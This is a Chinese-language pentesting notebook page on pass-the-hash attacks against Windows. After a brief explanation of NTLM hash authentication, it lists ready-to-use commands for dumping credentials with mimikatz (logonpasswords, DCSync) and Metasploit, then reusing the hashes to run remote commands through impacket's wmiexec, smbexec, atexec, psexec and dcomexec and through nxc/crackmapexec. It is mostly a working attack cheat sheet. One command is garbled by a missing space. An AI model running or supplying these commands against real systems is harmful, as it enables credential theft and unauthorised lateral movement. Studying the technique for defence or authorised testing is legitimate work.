3.PTH

1. 原理

攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码
NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
在现在的Windows系统中,通常使用NTLM身份认证,LM Hash一般在很老的机器上才会使用
Pasted image 20250223230214

2. 利用过程

2.1. 获取hash

方法一:使用 mimikatz 获取hash(最常用)

mimikatz.exe privilege::debug
mimikatz.exe  sekurlsa::logonpasswords #抓取保存的所以凭证(包括hash)
mimikatz.exe lsadump::dcsync /domain:god.org /all /csv # 通过DSync导出所有用户的Hash

方法二:使用 Metasploit 获取hash
首先需要先获取到一个session

load kiwi #加载mimiktaz模块
hashdump #导出hash

2.2. 使用hash访问远程主机或服务

方法一:使用wmiexec ( 需要135端口开放)

impacket-wmiexec administrator@192.168.52.138 -hashes :74520a4ec2626e3638066146a0d5ceae

nxc wmi 10.10.10.52 -u james --hash '74520a4ec2626e3638066146a0d5ceae' #在SMB端口445、139打开时

nxc wmi 10.10.10.52 -u james --hash '74520a4ec2626e3638066146a0d5ceae' -d HTB #在SMB端口没有打开时

Invoke-WMIExec -Target 192.168.1.1 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose #powershell使用,需导入模块

方法二:使用 mimikatz (需要445或135端口开放)

privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c
Warning

mimikatz的pth功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程lsass.exe的信息

对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash

方法三 使用SMB协议 (需要445或139端口开放)

impacket-smbexec test/administrator@192.168.40.156 -hashes :74520a4ec2626e3638066146a0d5ceae
crackmapexec smb 192.168.3.21-32 -u administrator -H 'ccef208c6485269c20db2cad21734fe7' -x 'whoami'
nxc smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami

方法四 使用atexec(需要445或139端口开放)

impacket-atexec.py god.org/administrator@192.168.52.143 whoami -hashes :74520a4ec2626e3638066146a0d5ceae
nxc smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami --exec-method atexec

方法五 使用psexec(需要445或139端口开放)

impacket-psexec administrator@192.168.52.138 -hashes :74520a4ec2626e3638066146a0d5ceae

方法六 使用dcomexec (需要135端口开放)

impacket-dcomexecadministrator@192.168.52.143 whoami -hashes :74520a4ec2626e3638066146a0d5ceae

方法七 使用smbclient (需要445或139端口开放)

impacket-smbclient administrator@192.168.52.143 -hashes :74520a4ec2626e3638066146a0d5ceae